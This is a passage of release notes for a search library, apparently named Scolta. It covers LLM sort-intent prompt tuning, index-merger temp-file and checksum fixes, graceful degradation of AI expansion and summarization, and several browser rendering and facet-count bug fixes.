  • Sort-intent prompt: recency false negatives and two false-positive classes (src/Http/AiEndpointHandler.php). Three 2026-06-09 regression findings, all tuned in the SORT INTENT instruction block: (1) Recency reliability (apollo) — "newest posts" detected only ~1/3 of runs, "oldest articles"/"latest news" persistently not. Root cause: every recency example in the prompt demonstrated the no-date-field → null branch (STEP 0's two examples, STEP 4's WRONG examples, and STEP 3's "latest research" all pattern-match apollo-style queries to "no sort"), biasing the model against recency sorts even on a date-sortable corpus. STEP 0 now demonstrates the field-exists → proceed branch, STEP 4 carries explicit RIGHT examples ("newest posts" → date desc, "oldest articles" → date asc, "latest news" → date desc when a date field exists), and STEP 3 distinguishes "latest research on…" (informational) from bare "latest news"/"latest posts" (sort intent). Verified against the live Amazee endpoint (claude-4-5-haiku, 5 runs per query, real apollo/terra/wikipedia field configs): "latest news" went from 0/5 on the old prompt to 5/5 on the new one, all other cases 5/5 on both. (2) Buried sort phrases (terra) — a sort-like word inside a long natural-language query triggered price asc; the PRIMARY-purpose instruction now defines the buried-phrase case with a litmus test ("would the user feel their question was answered by an unsorted list?") and a worked example. (3) Commonness→citations substitution (wikipedia) — "most common elements" mapped to reference_count desc; the STEP 4 mapping examples now name that exact substitution as WRONG. The two false-positive cases pass 5/5 on both prompts with today's resolved model — the live-run evidence motivating them came from the June 9 regression, so the instructions are pinned belt-and-suspenders. Note: scolta-python (_intent_blocks.py) and scolta-node (intent-blocks.generated.ts) carry byte-faithful copies of this block extracted from this file; syncing them is a named follow-up (their tests assert only block presence, not content, so nothing reds before the sync).
  • AiEndpointHandler::handleFollowUp()'s @return array shape now declares the limit and retry_after keys the method actually returns (src/Http/AiEndpointHandler.php). The declared shape omitted limit (int, returned by the follow-up-limit-reached 429 branch) and retry_after (string — the provider's Retry-After header value, seconds or HTTP-date — set on the rate-limited 429 response when available). Downstream PHPStan in both scolta-wp and scolta-laravel had to baseline accesses to these keys (e.g. scolta-wp's isset( $result['limit'] ) is the single entry in its phpstan-baseline.neon); with the corrected shape those adapter baseline entries can be dropped. A sweep of every other @return array{...} shape in the class against its method's return statements found no further omissions. Docblock-only; no runtime change.
  • Pre-merge temp files are cleaned up, writes are checked, and intermediate chunks carry real checksums (src/Index/IndexMerger.php). Three defects in the pre-merge path (engaged when chunk count exceeds the open-file-handle cap): (1) the scolta-premerge-* temp directories were never deleted — the comment claiming "PHP's process exit will collect any leaks" was false for on-disk directories, so every capped build leaked its intermediate term files into the system temp dir forever; mergeStreaming() now records every batch dir the recursive pre-merge creates and removes them in a finally once the n-way merge completes. (2) Every fwrite() return was unchecked, so a full disk produced a silently truncated intermediate chunk; a writeAll() helper now throws on short writes. (3) Pre-merge footers were written as {"hmac":""} with no crc32, and ChunkReader::verifyCrc32() treats a missing crc32 as valid (a deliberate pre-0.3.3 compatibility path) — so corruption in intermediate files was unverifiable; pre-merge files now carry the same record-stream crc32 digest ChunkWriter produces. Regression tests force the pre-merge path (55 chunks against the conservative 50-handle cap) and assert no temp dirs remain, and verify a pre-merge file passes verifyCrc32() intact and fails it after a single corrupted byte.
  • handleFollowUp() no longer rejects the literal message "0" (src/Http/AiEndpointHandler.php). Message validation used empty($msg['content']), and empty('0') is true in PHP — a user typing 0 as a follow-up got HTTP 400. Validation now uses a strict === '' check (alongside the new type/size checks above).
  • Query expansion and summarization no longer return HTTP 503 on AI failure (src/Http/AiEndpointHandler.php). Both endpoints are non-essential search enhancements — search returns results with or without them — but only the missing-API-key path degraded gracefully. Every other provider failure (invalid key → 401, rate limit → 429, transport error / malformed response / budget-exceeded → generic \Exception) was mapped to HTTP 503 (Query expansion unavailable / Summarization unavailable), which blocked the enhancement path and spammed the client console ([scolta:expand] error response …, [scolta:summarize] failed: HTTP 503) even though search itself still worked. The root cause was an over-broad error contract: scolta.js reacts identically to any non-OK response (expand → fall back to unexpanded results; summarize → render an error banner where "no summary" was the correct outcome), so distinguishing 401/429/503 server-side gave the client no benefit. handleExpandQuery() now always degrades to unexpanded search (HTTP 200 with {terms: [query], …}) and handleSummarize() always degrades to "no summary" (HTTP 200 with empty data), matching the existing missing-key behavior. The distinct underlying error is preserved in the server log (logger->error(..., ['exception' => $e])) so genuine provider/config outages stay diagnosable — nothing is silently swallowed. Follow-up conversations are unchanged: a follow-up is the request's primary purpose, so it retains its distinct 401/429/503 statuses (including retry_after). Mirrors the symmetric change in scolta-python. Regression coverage in tests/Http/AiEndpointHandlerTest.php rewrites the expand/summarize error-path, invalid-key, and rate-limit cases to assert HTTP 200 + degraded payload + that the error is logged, and moves the retry_after present/absent coverage onto follow-up. Server-side PHP only; no browser/WASM change.
  • Four shared browser-render bugs in assets/js/scolta.js (canonical source; byte-identical across scolta-php → Drupal/WP and scolta-python → Django/Wagtail). All four were reproduced live on the Drupal (gitmastery.ddev.site) and Wagtail (gitmastery-django.ddev.site) demos and each gains a JSDOM regression test in tests/js/shared-render-bugs.test.js that fails on the pre-fix file. (1) Zero-result state rendered a blank panel. When a query produced no Phase-1 matches, renderResults()'s filtered.length === 0 branch cleared both the result container and the header and then returned early whenever expansionInFlight was true — so the panel was wiped to empty for the entire duration of the asynchronous AI query-expansion round-trip and only settled on "No results found." after the expand promise resolved. On a slow/cold expand endpoint that blank persisted for the whole multi-second request (live-confirmed: a rama search on the Drupal demo held a blank panel ~2s before expansion surfaced 52 results), which read as "no message ever appears." Root cause: the early-return blanked the panel as its in-progress representation instead of showing one. Fix: in the in-flight zero-result branch, render a neutral "Searching…" state (never blank, and never a premature "No results found." that would flash away if expansion adds hits); the existing final renderResults() after the expand promise settles still renders the terminal state (results or "No results found."). (2) Header read "1 results." The results-header template hardcoded the noun results; fixed to pluralize on the count (1 result vs N results), keeping toLocaleString() for the number. There is no i18n string layer in scolta.js (all UI strings are literal English), so a count-based ternary matches the file's conventions. (3) Quoted-phrase query rendered doubled quotes (""merge conflict""). The header wraps the query in its own literal "…", and escapeHtml() (a textContent → innerHTML round-trip) does not escape the " character, so a query that already carried surrounding quotes passed them through and collided with the template's pair. Fix: a displayQuery() helper strips at most one matched surrounding double-quote pair before the template re-adds its own, so the only quote level shown is the template's; bare queries are unaffected (not entity-encoding ", which would have rendered a visible &quot; through this template path). (4) AI-summary citations duplicated the same URL. buildLLMContext() mapped results 1:1 to numbered [n] source blocks with no URL dedup, so two results resolving to the same destination URL were handed to the summarizer as two distinct sources and cited repeatedly (observed ×5–6 on a single query). Fixed at the root layer — buildLLMContext() now collapses results sharing a resolved URL before numbering, keeping the first (highest-ranked) occurrence. (No PHP parity change: the numbered context is built and POSTed by the JS client; PHP's MarkdownRenderer only renders the model's output markdown and has no numbered-context builder. A defensive seen-set in the inline-link renderer formatInline() was considered and rejected — it renders prose links too, where the model may legitimately repeat a link mid-sentence, so deduping there would silently drop valid links; the context builder is the correct single dedup point.) Browser-side JS only; no PHP or WASM change.
  • Facet counts no longer read all-zero on a long query whose AND search is empty (assets/js/scolta.js). When a multi-word, natural-language query returned zero strict-AND matches, the result list correctly rebuilt itself from per-term OR searches, but every facet count in the panel showed (0) and every value was disabled — because the count source never followed the result list's fallback. Pagefind ANDs every word of a query, so a conversational query like "I force pushed the broken commit" frequently matches nothing under AND; the result path has an OR fallback for exactly this case, but computeQueryFacetCounts ran a single Pagefind search with the raw typed query and returned its native .filters, which on a zero-match AND search is an all-zero breakdown. The bug affected every CMS (the file is byte-identical across scolta-php → Drupal/WP/Laravel and scolta-python → Django/Wagtail) and had been latent since the static facet panel landed; it surfaced on precisely the long conversational queries Scolta is built for. The fix makes the count source follow the same query-mode decision the result list makes: when the AND search matches, counts come from its native .filters as before (exact, uncapped); when the AND search is empty and the OR fallback would engage (more than one meaningful term, not a quoted forced phrase), counts are computed from the exact union of the per-term matches — one structural-only-filtered search per meaningful term, unioned by fragment id so a document matching several terms is counted once, each term capped at MAX_PAGEFIND_RESULTS, then tallied from each unique fragment's data.filters (scalar or array values both handled); when the fallback would not engage (single meaningful term or forced phrase), the list is genuinely empty too, so the counts stay truthfully zero. Counts remain a fixed property of the typed query (independent of facet selections — only structural dimensions scope the count searches — and unchanged by AI expansion or facet clicks); the mode decision is made on the structural-only count search, not the primary search, since the two can diverge when a user-applied facet empties the primary search while the structural search still matches. Accepted consequence: in fallback mode the counts describe the union of per-term matches capped at MAX_PAGEFIND_RESULTS per term — exact over what the list can actually show, and they may read lower than the expansion-enhanced header "N results", the same accepted property the static panel already has for AND-mode counts. Regression coverage added in tests/js/faceting.test.js (AND-zero engages the union tally with overlap counted once; fallback counts are structural-only; forced-phrase and single-term queries stay zero and trigger no per-term count searches; scalar and array fragment filter values both tally). Browser-side JS only; no PHP or WASM change.